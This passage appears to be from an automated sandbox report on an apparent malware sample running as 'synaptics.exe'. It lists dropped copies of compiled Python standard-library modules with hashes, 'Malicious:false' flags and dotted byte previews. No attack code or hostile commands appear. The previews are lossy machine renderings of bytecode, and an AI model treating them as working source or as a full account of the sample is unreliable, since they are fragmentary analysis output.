              Preview:o.......:.-d.........................@...sp...d.Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.z.d.d.l.T.W.n...e.y1......Y.n.w.e.Z.e.Z.d.S.).z.Bisection algorithms......N....keyc....................C....>...|.d.u.r.t.|.|.|.|...}.n.t.|.|.|...|.|.|.d...}.|...|.|.....d.S.).z.Insert item x in list a, and keep it sorted assuming a is sorted... If x is already in a, insert it to the right of the rightmost x... Optional args lo (default 0) and hi (default len(a)) bound the. slice of a to be searched.. Nr....)...bisect_right..insert....a..x..lo..hir......r.....4C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\bisect.py..insort_right....s............r....c....................C...s....|.d.k.r.t.d.....|.d.u.r.t.|...}.|.d.u.r1|.|.k.r/|.|...d...}.|.|.|...k.r'|.}.n.|.d...}.|.|.k.s.|.S.|.|.k.rN|.|...d...}.|.|.|.|.....k.rF|.}.n.|.d...}.|.|.k.s5|.S.).a....Return the index where to insert item x in list a, assuming a is sorted... The return value i is such that all e in a[:i]

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\bz2.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:36A4B1B0221FEB7DEFDA35BA3D328639
              SHA1:AB5E690F80A16EA731404F212597DD5292B08CD1
              SHA-256:00BF9CE2F49AD73C11957D62EE4015AC3F39178C0172DD5751B3C39CE469396C
              SHA-512:F314EA67D5C2DE184CDD4DD59352254D2A18AED076B618B53D9F14155AB7AF233E2E7242931AFB104F5FFB11F90E99BD12428398C70A48ED862442181C520AC0
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d./.......................@...s....d.Z.g.d...Z.d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.....d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Interface to the libbzip2 compression library...This module provides a file interface, classes for incremental.(de)compression, and functions for one-shot (de)compression..)...BZ2File..BZ2Compressor..BZ2Decompressor..open..compress..decompressz%Nadeem Vawda <nadeem.vawda@gmail.com>.....).r....N).r....r..............c....................@...s....e.Z.d.Z.d.Z.d*d.d...d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d+d.d...Z.d,d.d...Z.d,d.d...Z.d.d...Z.d,d.d...Z.d,d.d ..Z.d!d"..Z.d#d$..Z.e.j.f.d%d&..Z.d'd(..Z.d)S.)-r....a@...A file object providing transparent bzip2 (de)compression... A BZ2File can act as a wrapper for an existing file object, or refer. directly to a named file on disk... Note that BZ2File provides a *binary* file interface - data read is. returned as bytes, and data t

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\calendar.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:63618B0AC4869F0AD9C897ED4982B8B5
              SHA1:9E7585936CAF26B1DC9FA9B723BB3B9D94CCA782
              SHA-256:3C12053EC6400377FD7A5092D08F1703CB80D97DB1F7973578C570E756DE5FFD
              SHA-512:0ABA3E827CAF8B3BF8316CC919FE3473369BD1B496BC876297C856932195CA79B475C99E3C13C952F332E47EB2EEF0AE57C1A4D2654F1F387D4956F86C929972
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.b.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.e.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.g.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...\.Z.Z.Z.Z.Z.Z.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d ..Z"d!d"..Z#G.d#d$..d$e$..Z%G.d%d&..d&e%..Z&G.d'd(..d(e%..Z'G.d)d*..d*..Z(G.d+d,..d,e&..Z)G.d-d...d.e'..Z*e&..Z+e+j,Z-d/d0..Z.e+j/Z0e+j1Z1e+j2Z3e+j4Z5e+j6Z6e+j7Z8e+j9Z:e+j;Z<d1Z=d2Z>e=e>f.d3d4..Z?e=e>f.d5d6..Z@d7ZAe..BeAd.d....C..ZDd8d9..ZEd:d;..ZFeGd<k.r.eFe.jH....d.S.d.S.)=a$...Calendar printing functions..Note when comparing these calendars to the ones printed by cal(1): By.default, these calendars have Monday as the first day of the week, and.Sunday as the last (the European convention). Use setfirstweekday() to.set the first day of the week (0=Monday, 6=Sunday)......N)...repeat)...IllegalMonthError..IllegalWeekdayError..setfirstweekday..firstweekday..isleap..leapdays..weekday..monthrange..monthcalendar..prmonth..m

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\codecs.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D0ABDF0798A80EE3C52FC913809E18DB
              SHA1:FFD43F64C3CAB18E4A3B9FFBDF7C0A29FD687930
              SHA-256:38775536D0370B54962FD08E71060DA7266D4B01154B56A136C7C5584AE0CD00
              SHA-512:FA045D6D7563E2C6D7CDABDBC9B9AEBA937D1943526A760E8A38399E0E682E9522E10E3FAB15E779CD769FFF92A2A55D2A02C6249F282AA2E39A04BFAD12C984
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d........................@...sD...d.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.T.W.n...e.y"..Z...z.e.d.e.......d.Z.[.w.w.g.d...Z.d.Z.d...Z.Z.d...Z.Z.d.Z.d.Z.e.j.d.k.rAe...Z.Z.e.Z.n.e...Z.Z.e.Z.e.Z.e.Z.e.Z.e.Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z G.d.d...d...Z!G.d.d...d...Z"dCd#d$..Z#dDd%d&..Z$d'd(..Z%d)d*..Z&d+d,..Z'd-d...Z(d/d0..Z)d1d2..Z*dEd3d4..Z+dEd5d6..Z,d7d8..Z-d9d:..Z.z.e/d!..Z0e/d;..Z1e/d<..Z2e/d=..Z3e/d>..Z4e/d?..Z5W.n...e6y.......d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5Y.n.w.d.Z7e7..r.d.d.l8Z8e9d@k...r e$e.j:dAdB..e._:e$e.j;dBdA..e._;d.S.d.S.)Fz. codecs -- Python Codec Registry, API and helpers....Written by Marc-Andre Lemburg (mal@lemburg.com)...(c) Copyright CNRI, All Rights Reserved. NO WARRANTY........N)...*z%Failed to load the builtin codecs: %s),..register..lookup..open..EncodedFile..BOM..BOM_BE..BOM_LE..BOM32_BE..BOM32_LE..BOM64_BE..BOM64_LE..BOM_UTF8..BOM_UTF16..BOM_UTF16_LE..BOM_UTF16_BE..BOM_UTF32..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\contextlib.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:AA0617FFA5B1ACF4B883940D086CA043
              SHA1:5922DE0BB022F02CBCDEB34FD60FAAD2F2F3A4F9
              SHA-256:E5D6968E83D741B67D01559019BC07C25507C95A851B42D1BA0FC455F2A88666
              SHA-512:58917DFADA583C9F9CF41C87633BB4B1460638E15226D63CB750D18A78469695760891E72A3F234BA565EEA2E1C9C3551D402EE69C739A2B2829998563D6FD54
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.h.......................@...s~...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e.e.e...Z.G.d.d...d.e.e.e...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e...Z.G.d!d"..d"e...Z.G.d#d$..d$e...Z.G.d%d&..d&..Z.G.d'd(..d(e.e...Z.G.d)d*..d*e.e...Z.G.d+d,..d,e.e...Z d.S.)-z4Utilities for with-statement contexts. See PEP 343......N)...deque....wraps)...MethodType..Generiuseras)...asynccontextmanager..contextmanager..closing..nullcontext..AbstractContextManager..AbstractAsyncContextManager..AsyncExitStack..ContextDecorator..ExitStack..redirect_stdout..redirect_stderr..suppress..aclosingc....................@....:...e.Z.d.Z.d.Z.e.e...Z.d.d...Z.e.j.d.d.....Z.e.d.d.....Z.d.S.).r....z,An abstract base class for context managers.c....................C........|.S...z0Return `self` upon entering the runtime context.......selfr....r.....8C:

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\copyreg.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:2E5D890D873B23625DE0CA6A0B7D7372
              SHA1:815250296CA2C052CA86E941DAD1AB1030B5C62D
              SHA-256:A93ED92E05BE623CE2486FF5E724A11F885BC2AAAE1E424E801A5DC3C49B0573
              SHA-512:97FFF2150E59CEF24A291440C2AC0E34A5731866C5F56EA6F80443E184EB4DF50FF3FD40F5BB402093A8C12DF05605302357E0AC09C90E48C831D6E4A9BC9983
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.g.d...Z.i.Z.d.d.d...Z.d.d...Z.z.e...W.n...e.y.......Y.n.w.d.d...Z.e.e.e.e.....d.d...Z.e.e.e.e.B...e.....d.d...Z.d.Z.e.e.j...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.i.Z.i.Z.i.Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.Helper to provide extensibility for pickle...This is only useful to add pickle support for extension types defined in.C, not for instances of user-defined classes..)...pickle..constructor..add_extension..remove_extension..clear_extension_cacheNc....................C...s0...t.|...s.t.d.....|.t.|.<.|.d.u.r.t.|.....d.S.d.S.).Nz$reduction functions must be callable)...callable..TypeError..dispatch_tabler....).Z.ob_typeZ.pickle_functionZ.constructor_ob..r.....5C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\copyreg.pyr........s................r....c....................C...s....t.|...s.t.d.....d.S.).Nz.constructors must be callable).r....r....)...objectr....r....r....r........s..........r....c....................C...s....t.|.j.|.j.f.f.S...N)...compl

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\datetime.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:A28267BF4A63477D45B2BE62F248C1EF
              SHA1:D03CDDAEB30413D818DEE4FFE597CF8C5F8F507A
              SHA-256:FD859841F882EF64C0B8BF4E859C1A9329BE2CAC46E16CD73D8A2FA8B539D519
              SHA-512:C309FFF79E9BF9ACBEA58C1B33E5C4FE159715DB00DCF139F448F1D543A7171AB00847BFB717386A9AF53ED77471492288C661660B5935EDD0AC4E7C418D23CC
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.a.......................@...sr...d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.Z.d.Z.d.Z.g.d...Z.d.g.Z.d.Z.e.d.d.....D.].Z.e...e.....e.e.7.Z.q/[.[.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d.k.scJ...e.d.e...d...k.smJ...e.d.e...d...k.swJ...d.d...Z.g.d...Z.g.d...Z.d d!..Z.d\d#d$..Z.d%d&..Z d'd(..Z!d)d*..Z"d+d,..Z#d-d...Z$d/d0..Z%d1d2..Z&d3d4..Z'd5d6..Z(d7d8..Z)d9d:..Z*d;d<..Z+G.d=d>..d>..Z,e,d?..e,_-e,d@dAdBdBdCdD..e,_.e,d.dE..e,_/G.dFdG..dG..Z0e0Z1e0d.d.d...e0_-e0d.dHdI..e0_.e,d.dJ..e0_/G.dKdL..dL..Z2G.dMdN..dNe3..Z4e4Z5[4e2Z6G.dOdP..dP..Z.e.Z7e.d.d.d...e._-e.dAdBdBdC..e._.e,d.dE..e._/G.dQdR..dRe0..Z8e8d.d.d...e8_-e8d.dHdIdAdBdBdC..e8_.e,d.dE..e8_/dSdT..Z9G.dUdV..dVe2..Z:e:.;e,d.....e:_<e:.;e,dAdBdW......e:_-e:.;e,dAdBdW....e:_.e8dXd.d.e:j<dY..Z=z.d.dZl>T.W.n...e?..y.......Y.d.S.w.[.[.[.[.[.[.[=[.[.[.['[([)[%[&[.[*[1[.[.[.[.[ [.[.[9[.[.[.[7[6[![.[+["[$[#[5d.d[l>m.Z...d.S.)]z.Concrete date/time and related types...See http://www.iana.org/time-

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\enum.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D3740D6B18CBA73CC19763EFAD0FFE29
              SHA1:453ED3F41A9192871BAF4A474F1885B1BCE3CD56
              SHA-256:9C1188CC9D961398C2AA4376FD00E951BD4EA63B84BD8C39567D2DB13B9F60D8
              SHA-512:0304FD892678B30D32E89A9A8AF81A82642A39F80505D0F5F0E44ACB2C0A3F6CD7B73A23045CFCA2ECA9D875E97998FA4F648C1B9A52616E5C820ED27E9BC5BF
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z...g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e.e...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.S.)%.....N)...MappingProxyType..DynamicClassAttribute)...EnumMeta..Enum..IntEnum..Flag..IntFlag..auto..uniquec....................C...s....t.|.d...p.t.|.d...p.t.|.d...S.).z?. Returns True if obj is a descriptor, False otherwise.. ..__get__..__set__..__delete__)...hasattr)...obj..r.....2C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\enum.py.._is_descriptor....s..............r....c....................C...sL...t.|...d.k.o%|.d.d.....|.d.d.........k.o.d.k.n.....o%|.d...d.k.o%|.d...d.k.S.).z=. Returns True if a __dunder__ name, False otherwise.. .....N..........Z.__.._.........len....namer....r....r......_is_dunder....s......&...........r....c....................C...sL...t.|...d.k.o%|.d...|.d.......k.o.d.k.n...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\fnmatch.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:3637489E80AA8A6A7DE1D39AFE00A89B
              SHA1:66445DD985648DEA5AD1CB54B2B46ACB443E1344
              SHA-256:A4A3252CC85C1615CA5E4B539F002761B8DC1CB9C9696F56F863C1BDA353091F
              SHA-512:AD6BD136EBFB5AC95DC784558DFF4079BD327E081FF73709C2EE54B95645C78FC63D027BCCFCA5CEE9A41A437C88F2A54F2724A314EF333C7B2732C17955F15F
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s|...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d.l.m.Z...e...j.Z.[.d.d...Z.e.j.d.d.d...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.S.).a....Filename matching with shell patterns...fnmatch(FILENAME, PATTERN) matches according to the local convention..fnmatchcase(FILENAME, PATTERN) always takes case in account...The functions operate by translating the pattern into a regular.expression. They cache the compiled regular expressions for speed...The function translate(PATTERN) returns a regular expression.corresponding to PATTERN. (It does not compile it.)......N)...filter..fnmatch..fnmatchcase..translate)...countc....................C...s"...t.j...|...}.t.j...|...}.t.|.|...S.).a....Test whether FILENAME matches PATTERN... Patterns are Unix shell style:.. * matches everything. ? matches any single character. [seq] matches any character in seq. [!seq] matches any char not in seq.. An initial period in FILENAME is not spec

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\functools.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:417BF64B8EE8FBBFD740E28D94D69155
              SHA1:753FC1149B76AB2FF7F175C9FC05B01FCE05B141
              SHA-256:82E940CEF26EDA45D6728757C57C42435A05CE98CFB02357C6A2E1356F8B4B79
              SHA-512:7ED9A7F89438F77F716D89B3AC537B2C3E80CA4AA0DEDA17BB21962562EEE65A992FE5E184E9EFB1D9684FEF18FFE37E60FF43F91F6ED9044151D58E2002336A
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.e.e.f.d.d...Z.e.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d d!..Z.e.f.d"d#..Z.e.f.d$d%..Z.d&e.f.d'e.f.d(e.f.g.d(e.f.d)e.f.d&e.f.g.d)e.f.d(e.f.d'e.f.g.d'e.f.d&e.f.d)e.f.g.d*..Z.d+d,..Z.d-d...Z.z.d.d/l m.Z...W.n...e!y.......Y.n.w.e"..Z#e#f.d0d1..Z$z.d.d2l m$Z$..W.n...e!y.......Y.n.w.G.d3d4..d4..Z%z.d.d5l m%Z%..W.n...e!y.......Y.n.w.G.d6d7..d7e"..Z&d8d9..Z'e.d:g.d;....Z(G.d<d=..d=e)..Z*e"..f.e+e,h.e-e.e/f.d>d?..Z0dXdBdC..Z1dDdE..Z2z.d.dFl m2Z2..W.n...e!..y;......Y.n.w.dGdH..Z3dIdJ..Z4dYdLdM..Z5dNdO..Z6dPdQ..Z7dRdS..Z8G.dTdU..dU..Z9e"..Z:G.dVdW..dW..Z;dKS.)ZzEfunctools.py - Tools for working with functions and callable objects.)...update_wrapper..wraps..WRAPPER_ASSIGNMENTS..WRAPPER_UPDATES..total_ordering..cache..cmp_to_key..lru_cache..reduce..partial..partialmethod..singledispatch..si

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\genericpath.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:97F4625FFDD91690F09355A22F7B398A
              SHA1:0A2ECA0A7174B0254C18BE57373DE8ED82D8750D
              SHA-256:E38611726B006FAB3F49AF665053DE8BCF6E80C4076413E6C7E8848D046BC6F8
              SHA-512:49BC869D7A3C4C7119DFAB779BFB66C2D58748ADD1812B80803E15842D29036385B31456063F7B50A71364B12C7E725E0789ACFFE144534A4060E75B1991D0AF
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z..Path operations common to more than one OS.Do not use directly. The OS specific modules import the appropriate.functions from this module themselves.......N)...commonprefix..exists..getatime..getctime..getmtime..getsize..isdir..isfile..samefile..sameopenfile..samestatc....................C...s*...z.t...|.....W.d.S...t.t.f.y.......Y.d.S.w.).zDTest whether a path exists. Returns False for broken symbolic linksFT)...os..stat..OSError..ValueError)...path..r.....9C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\genericpath.pyr........s................r....c....................C....4...z.t...|...}.W.n...t.t.f.y.......Y.d.S.w.t...|.j...S.).z%Test whether a path is a regular fileF).r....r....r....r......S_ISREG..st_mode).r......str....r....r....r.........................r....c....................C...r....).z<Retur

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\hashlib.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:2B2B81910A0FB6CA67C1D11B4C2C9CB0
              SHA1:71E5E991F5537152ACDE4B66A8897826E90D7837
              SHA-256:EC4C8A2A3820B8D0B755FCC90F69654E714BA0CC229EB2AAB3CCE72376B53F25
              SHA-512:0FC4301F004AF3B858E8069E875DF342F90EE3AE0A0FC3F30071B4A2ABE380FD067B8158F5C4F36E804182ED723C0965F30D5E020665F0F29E79209EBA062107
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.).......................@...sl...d.Z.d.Z.e.e...Z.e.e...Z.e.d...Z.i.Z.d.d.h.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.z.d.d.l.Z.e.Z.e.Z.e...e.j...Z.W.n...e.yG......d.Z.e.Z.e.Z.Y.n.w.z.d.d.l.m.Z...W.n*..e.yz......d.d.l.m.Z...e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.d.d...Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.D.].Z.z.e.e...e...e.<.W.q...e.y.......d.d.l.Z.e...d.e.....Y.q.w.[.[.[.[.[.[.d.S.).a3...hashlib module - A common interface to many hash functions...new(name, data=b'', **kwargs) - returns a new hash object implementing the. given hash function; initializing the hash. using the given binary data...Named constructor functions are also available, these are faster.than using new(name):..md5(), sha1(), sha224(), sha256(), sha384(), sha512(), blake2b(), blake2s(),.sha3_224, sha3_256, sha3_384, sha3_512, shake_128, and shake_256...More algorithms may be available on your platform but the above are guaranteed

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\hmac.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:F2FBF6E2EBFC0CC681369056B81F3807
              SHA1:0D9EDA99BEF09AA3D0805DE7DF02ADE2B237F1AD
              SHA-256:40949D747CB10671D9ADC2991A1D62DBD977579DB4D9E2E08D052550E0537BA3
              SHA-512:A61A50BF0A258C7FD0853721EC0B8FA38D5EDCC3C06001D2A52E2CE165F0D7C30B1F2877CB782233D4E35E777E4222CC3A8F32E483EE592F9B855C43E0AA6413
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y.......d.Z.d.Z.d.d.l.m.Z...Y.n.w.e.j.Z.e.e.j...Z.d.d.l.Z.e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.Z.G.d.d...d...Z.d.d.d...Z.d.d...Z.d.S.).zqHMAC (Keyed-Hashing for Message Authentication) module...Implements the HMAC algorithm as described by RFC 2104.......N)..._compare_digestc....................c..........|.].}.|.d.A.V...q.d.S.)..\...N.......0..xr....r.....2C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\hmac.py..<genexpr>.............r.........c....................c...r....)..6...Nr....r....r....r....r....r........r....c....................@...sf...e.Z.d.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...HMACz~RFC 2104 HMAC class. Also complies with RFC 4231... This supports the API for Cryptographic Hash Functions (PEP 247).. .@...)..._hmac.._inner.._outer..block_size..digest_sizeN..c....................C...s....t.|.t.t.f...s.t.d.t.|...j.......|.s.t.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\io.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:7548B725B87978B42AFA1C59A81192B1
              SHA1:D1D3CCE98A1CE3692EF2954D46C82E4506BC4645
              SHA-256:A185D0B90B20AF751686B7E1FB531DA3F6F4260B2FCF4F74FFBFB8510CE0A045
              SHA-512:4B37274A416051A6D53EF77FDADDD9764F1291E3A8FCD5E8B8121E3538FE22A5EEDAD5E56F08D4B2A3978CD42B6D976D300125A87E9670F0B0879C7A40554CBA
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sH...d.Z.d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.e._.d.Z.d.Z.d.Z.G.d.d...d.e.j.e.j.d...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j e...Z!e.."e.....e.e.e.e.e.f.D.].Z#e.."e#....que.e.f.D.].Z#e!."e#....q.[#z.d.d.l.m$Z$..W.n...e%y.......Y.d.S.w.e.."e$....d.S.).a....The io module provides the Python interfaces to stream handling. The.builtin open function is defined in this module...At the top of the I/O hierarchy is the abstract base class IOBase. It.defines the basic interface to a stream. Note, however, that there is no.separation between reading and writing to streams; implementations are.allowed to raise an OSError if they do not support a given operation...Extending IOBase is RawIOBase which deals simply with the reading and.writing of raw bytes to a stream. FileIO subclasses RawIOBase to provide.an interface to OS files...BufferedIOBase deals with buffering on a raw

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\keyword.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:78223EEA4A3955846844EE61678B4D69
              SHA1:1D23EAB52C8A0939D9AE22D33664EF755454D431
              SHA-256:775D3A34ECDD7CA8C469E2B2BEECC69C63ED277099DFF0F0DE1B26C32858A8A5
              SHA-512:08DAB03559E32E25217BDD0E9257654AC1C38AB601335BBEB545A6ED4926D99CDFF1BF2E0F1CE4A2EABFACBD5A105526552A7F6A138489D93C7A39EDB96C146C
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dd........................@...s4...d.Z.g.d...Z.g.d...Z.g.d...Z.e.e...j.Z.e.e...j.Z.d.S.).a....Keywords (from "Grammar/python.gram")..This file is automatically generated; please don't muck it up!..To update the symbols in this file, 'cd' to the top directory of.the python source tree and run:.. PYTHONPATH=Tools/peg_generator python3 -m pegen.keywordgen Grammar/python.gram Grammar/Tokens Lib/keyword.py..Alternatively, you can run 'make regen-keyword'..)...iskeyword..issoftkeyword..kwlist..softkwlist)#..False..None..TrueZ.andZ.asZ.assertZ.asyncZ.awaitZ.breakZ.classZ.continueZ.defZ.delZ.elifZ.elseZ.exceptZ.finallyZ.forZ.fromZ.globalZ.ifZ.import..inZ.is..lambdaZ.nonlocalZ.notZ.orZ.passZ.raise..returnZ.tryZ.whileZ.withZ.yield)..._Z.case..matchN)...__doc__..__all__r....r......frozenset..__contains__r....r......r....r.....5C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\keyword.py..<module>....s...........&....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\linecache.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D7CD0CBFB681639F0DC815C72A309FDB
              SHA1:1B12A3E6E2D25C6E8C9773D0E1F0E45CE4168FD1
              SHA-256:91D2218ABDCBA4BB17D1ACCD029047E76D65E6140A075297D3579B1B895F9EEA
              SHA-512:3A9A3B70D16E729954D9C4923A75436DB1934FFE7027B80C0A8B4F01FB06D02EC34BCF599FBD051DBBB8F9F5B424FB78ABD8496F3B8C41DC1B0C46C5D0CF15D4
              Malicious:false
              Reputation:unknown
